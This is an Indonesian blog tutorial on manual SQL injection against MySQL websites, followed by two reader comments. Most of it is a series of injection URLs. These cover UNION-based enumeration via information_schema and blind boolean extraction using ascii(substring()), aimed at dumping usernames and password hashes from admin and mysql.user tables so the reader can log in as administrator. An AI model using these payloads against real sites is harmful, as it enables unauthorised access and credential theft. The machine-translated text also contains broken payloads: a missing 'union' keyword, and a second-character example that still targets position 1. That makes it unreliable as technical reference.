03 Desember 2010

Tutorial SQL Injection

Tutorial SQL Injection (mysql) bhs Indonesia by coldboyz #level9-team

Di tutorial ini saya akan menggambarkan bagaimana cara kerja sql injection dan bagaimana cara menggunakan ini, mendapatkan informasi yang berguna.


Pertama-tama: apa sih sql injection?

itu adalah salah satu dari vulnerable di aplikasi jaringan sekarang. Mengizinkan penyerang menjalankan permintaan database di alamat web dan memperoleh akses informasi penting dan lain-lain. . .

1. SQL Injection (klasik atau basis error atau terserah kamu menyebutnya)

2. Blind SQL Injection ( bagian lebih keras )

Mari kita mulai beraksi :D

1. Melihat kemungkinan vulnerable

Contohnya kita punya situs seperti ini....

http: /www. situs. com/news.php? id=5

Sekarang kita test jika vulnerable. Kita tambahkan ujung alamat web dengan ' (tanda kutip)

akan menjadi http: /www. situs. com/news.php? id=5'

jika kita memperoleh error seperti :

" You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right dl.."
atau apapun yang mirip Itu berarti vulnerable untuk melakukan sql injection : )

2. Mencari banyaknya kolom

Untuk menemukan jumlah kolom kita menggunakan pernyataan ORDER BY (menceritakan database bagaimana hasil order)

Bagaimana cara menggunakan itu? baik hanya incrementing nomor sampai kita memperoleh kesalahan.

http: /www. situs. com/news.php? id=5 order by 1/ <-- tidak error? http: /www. situs. com/news.php? id=5 order by 2/ <-- tidak error? http: /www. situs. com/news.php? id=5 order by 3/ <-- tidak error? http: /www. situs. com/news.php? id=5 order by 4/ <-- error (kami memperoleh pesan seperti ini Unknown column '4' in 'order clause' atau kira-kira seperti tu berarti bahwa ini punya 3 kolom sebab kami mendapatkan kesalahan di 4. 3. Melihat kemungkinan fungsi UNION? dengan union kita dapat memilih banyak data di satu pernyataan sql. Misal kita punya http: /www. situs. com/news.php? id=5 union all select 1,2,3/* (kita telah menemukan jumlah 3 kolom di seksi 2. ) jika kita lihat jumlah di layar i.e 1 or 2 or 3 berarti UNION bekerja! :) : ) 4. Melihat kemungkinan versi mysql? ? http: /www. situs. com/news. php? id=5 union all select 1,2,3/* catatan: jika /* tidak bekerja atau kamu memperoleh kesalahan? Ubah ke -- itu adalah suatu komentar dan ini adalah penting untuk kita bekerja semestinya. katakan kita punya nomor 2 di layar itu? sekarang melihat kemungkinan versi? kami menggantikan nomor 2 dengan @@version atau version() dan menerima pesan seperi 4.1.33-log atau 5.0.45 atau mirip itu lah.. ini harus menyerupai ini http: /www. situs. com/news. php? id=5 union all select 1,@@version,3/* jika kamu memperoleh kesalahan "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..." saya tidak lihat beberapa paper covering masalah ini, saya harus menulis ini :) apa yang kita perlukan adalah fungsi convert() i.e. http: /www. situs. com/news. php? id=5 union all select 1,convert(@@version using latin1),3/* atau dengan hex() dan unhex() i.e http: /www. situs. com/news. php? id=5 union all select 1,unhex(hex(@@version)),3/* dan kamu akan memperoleh versi mysql :D 5. memperoleh table dan nama kolom? ? baik jika versi mysql <> versi 5.

Kita harus mengira table dan nama kolom umumnya.

Biasanya nama table adalah : user/s, admin/s, member/s ...

nama kolom biasanya adalah : username, user, usr, user_name, password, pass, passwd, pwd dan lain-lain. . .

i.e akan menjadi

http: /www. situs. com/news. php? id union all select 1,2,3 from admin/* (kita lihat nomor 2 di layar seperti sebelumnya,itu berarti ok :D

Kita mengetahui bahwa ada table admin. . .

sekarang memeriksa nama kolom.

http: /www. situs. com/news. php? id=5 union all select 1,username,3 from admin/* (jika kamu memperoleh kesalahan? Coba pakai nama kolom lainnya)
kita memperoleh username ditampilkan di layar, contoh seperti admin? atau superadmin dan lain-lain. . .

sekarang memeriksa jika ada kolom password nya
http: /www. situs. com/news. php? id= union all select 1,password,3 from admin/* (jika kamu memperoleh kesalahan? Coba pakai nama kolom lainnya)

Kita melihat password di layar hash atau plain-text ini bergantung dari bagaimana database menyediakan : )

i.e md5 hash, mysql hash, sha1...

sekarang kita harus menyelesaikan query

untuk itu kita dapat menggunakan concat() function (ini ikut rangkaian itu)

i.e

http: /www. situs. com/news. php? id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

catat bahwa saya meletakkan 0x3a, nilai hex nya untuk: ( 0x3a nilai hexuntuk tanda titik dua)

ada jalan lainnya untuk itu, char(58) untuk nilai ascii : )

http: /www. situs. com/news. php? id=5 union all select 1,concat(username,char(58),password),3 from admin/*

sekarang kita memperoleh username: password di layer, i.e admin: admin atau admin: hash

bila kamu punya ini? kamu dapat login seperti admin atau superuser :D

jika tidak bisa mengira nama table yang benar, kamu dapat menggunakan mysql.user (default)

ini punya user i kolom password

contohnya

http: /www. situs. com/news. php? id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6. MySQL 5

Seperti yang saya katakana sebelumnya saya ingin menjelaskan bagaimana cara memperoleh table dan kolom di mysql > 5.

untuk ini kita perlu information_schema.
ini memegang semua table dan kolom di database.

Untuk memperoleh table kita menggunakan table_name dan information_schema.tables

i.e

http: /www. situs. com/news. php? id=5 union all select 1,table_name,3 from information_schema.tables/*

disini kita menggantikan nomor 2 kita dengan table_name untuk memperoleh table pertama dari information_schema.tables

ditampilkan di layar. sekarang kita harus menambahkan LIMIT pada akhir dari query untuk mengeluarkan semua daftar table.

i.e http: /www. situs. com/news. php? id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

Catat bahwa saya menulis 0,1 (memperoleh 1 hasil permulaan dari 0th)
sekarang untuk melihat table yang kedua,kita merubah limit 0,1 ke limit 1,1

i.e

http: /www. situs. com/news. php? id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

table kedua telah ditampilkan.

untuk table ketiga kita tuliskan limit 2,1

i.e

http: /www. situs. com/news. php? id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

simpan incrementing sampai kamu memperoleh info berguna seperti db_admin, poll_user, auth, auth_user :D

untuk memperoleh kolom metodenya sama.

disini kita menggunakan column_name and information_schema.columns

metode sama seperti di atas contohnya seperti:

http: /www. situs. com/news. php? id=5 all select 1,column_name,3 from information_schema.columns limit 0,1/*

kolom pertama telah terlihat.

yang kedua (kita rubah limit 0,1 ke limit 1,1) yaitu :

i.e

http: /www. situs. com/news. php? id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

kolom kedua terlah terlihat jadi simpan incrementing sampai kamu memperoleh sesuatu seperti

username,user,login, password, pass, passwd dan lain-lain. . . :D

jika kamu ingin menampilkan nama kolom untuk table khusus gunakan query ini. (dimana anak kalimat)

Kira-kira kita menemukan table users itu.

i.e

http: /www. situs. com/berita. php? id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

sekarang kita memperoleh tampilan nama kolom di table users. hanya menggunakan LIMIT kita mendapatkan semua daftar kolom di table users.

NOTE : ini tidak mau bekerja jika magic quotes = ON

Kira-kira kita menemukan colums user, pass dan email.

Sekarang untuk menyelesaikan query untuk meletakkan mereka bersama-sama :D

untuk itu kita menggunakan concat() , i decribe dulu.

i.e

http: /www. situs. com/news. php? id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

apa kita dapat disini adalah user:pass:email dari table users.

contoh: admin:hash :emailnya@situs.com

itulah isi semua bagian itu, sekarang kami dapat memproses ke bagian yang lebih keras : )

2. Blind SQL Injection

Blind injection ini agak rumit injeksi klasik tetapi ini bisa dilakukan :D

saya harus katakan, ada tutorial blind sql injection yang sangat baik oleh xprog, tidak jelek untuk membaca ini :D

Mari kita mulai dengan bahan lanjutan.

saya akan menggunakan contoh kita

http: /www. situs. com/news. php? id=5

bila kita menjalankan ini, kita lihat halaman dan artikel pada halaman itu, gambar-gambar dan lain-lain. . .

kemudian bila kita ingin mencoba ini untuk serangan blind sql injection

http: /www. situs. com/news. php? id=5 and 1=1 <--- ini selalu benar dan tampilan halaman normal, itu pertanda baik. Sekarang percobaan nyata http: /www. situs. com/news. php? id=5 and 1=2 <--- ini adalah salah jadi jika teks? gambar atau isi hilang di halaman maka situs itu vulnerable untuk blind sql injection. 1) memperoleh versi mysql Untuk memperoleh versi serangan blind kami menggunakan substring i.e http: /www. situs. com/news. php? id=5 and substring(@@version,1,1)=4 ini akan menampilkan TRUE jika versi mysql 4. gantikan 4 dengan 5 dan jika query menampilkan TRUE jika versi 5. i.e http: /www. situs. com/news. php? id=5 and substring(@@version,1,1)=5 2) Test jika subselect bekerja bila select tidak bekerja, kita menggunakan subselect i.e http: /www. situs. com/berita. php? id=5 and (select 1)=1 jika tampilan halaman normal berarti subselect bekerja. kemudian kita ingin lihat jika kita punya akses ke mysql.user i.e http: /www. situs. com/news. php? id=5 (select 1 from mysql.user limit 0,1)=1 jika tampilan halaman normal berarti kita punya akses ke mysql.user dan kemudian nanti kita dapat menarik password menggunakan load_file() function dan OUTFILE 3) cek table dan nama kolom bagian ini bila menebak teman terbaik : ) i.e http: /www. situs. com/news. php? id=5 and (select 1 from users limit 0,1)=1 (dengan limit 0,1 query kita disini menampilkan 1 baris data, sebab subselect menampilkan hanya 1 baris, ini sangat penting. ) kemudian jika tampilan halaman normal tanpa isi hilang, berarti ada table user . jika kamu memperoleh FALSE ( artikel hilang), kita hanya merubah table name sampai kamu dapat 1 yang benar : ) seumpama kita telah menemukan table name itu adalah users, sekarang apa kita butuhkan adalah nama kolom. sama halnya table name, kita mulai menebak. Seperti yang saya katakan sebelumnya cobalah untuk nama biasa untuk kolom. i.e http: /www. situs. com/news. php? id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1 jika tampilan halaman normal kita mengetahui bahwa nama kolom adalah password jika kita memperoleh FALSE cobalah nama biasa atau hanya mengira-ngira disini kami menggabungkan 1 dengan password kolom, kemudian substring kembali ke karakter pertama (,1,1) 4) Menarik data dari database Kita menemukan table users i columns username password jadi kita ingin menarik karakter-karakter dari itu. http: /www. situs. com/news. php? id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

OK ini menarik karakter pertama dari pengguna pertama di table users.

substring disini menampilkan karakter pertama dan 1 karakter di lenght. Ascii() mengkonversikan 1 karakter ke nilai ascii

kemudian bandingkan ini dengan simbol lebih besar dari >.

jika ascii char lebih besar dari 80, tampilan halaman normal. (TRUE)

kita terus mencoba sampai kita memperoleh false.

http: /www. situs. com/news. php? id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

kami memperoleh TRUE, simpan incrementing

http: /www. situs. com/news. php? id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE lagi,lebih tinggi

http: /www. situs. com/news. php? id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

False! ! !

Jadi karakter pertama di username adalah char(99) gunakan ascii konvertor kita tahu bahwa char(99) adalah 'c'.

kemudian mari kita memeriksa karakter yang kedua.

http: /www. situs. com/news. php? id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99 Ingat bahwa saya merubah ,1,1 to ,2,1 untuk memperoleh karakter yang kedua. (sekarang ini menampilkan karakter yang kedua, 1 karakter di lenght

http: /www. situs. com/berita. php? id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, tampilan halaman normal, lebih tinggi

http: /www. situs. com/news. php? id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

False, nomor lebih rendah.

http: /www. situs. com/news. php? id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE,lebih tinggi.

http: /www. situs. com/berita. php? id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE! ! !

Kita mengetahui bahwa karakter yang kedua adalah char(105) dan itu adalah 'i'.
Kita punya 'ci' saat ini

Simpan incrementing sampai kamu memperoleh akhir. (bila >0 menampilkan salah kita mengetahui bahwa kita telah mencapai akhir).

ada beberapa alat-alat untuk Blind SQL Injection, saya pikir sqlmap adalah yang terbaik, tetapi saya melakukannya dengan manual

sebab itu membuat kamu lebih baik dari sql injektor :D

2 komentar:

  1. bhs'a sulit dimengerti, hasil transletan pho?

    BalasHapus
  2. Lho, menghina! Ini asli COPAS! hahahahahahaha!!! paraaah

    BalasHapus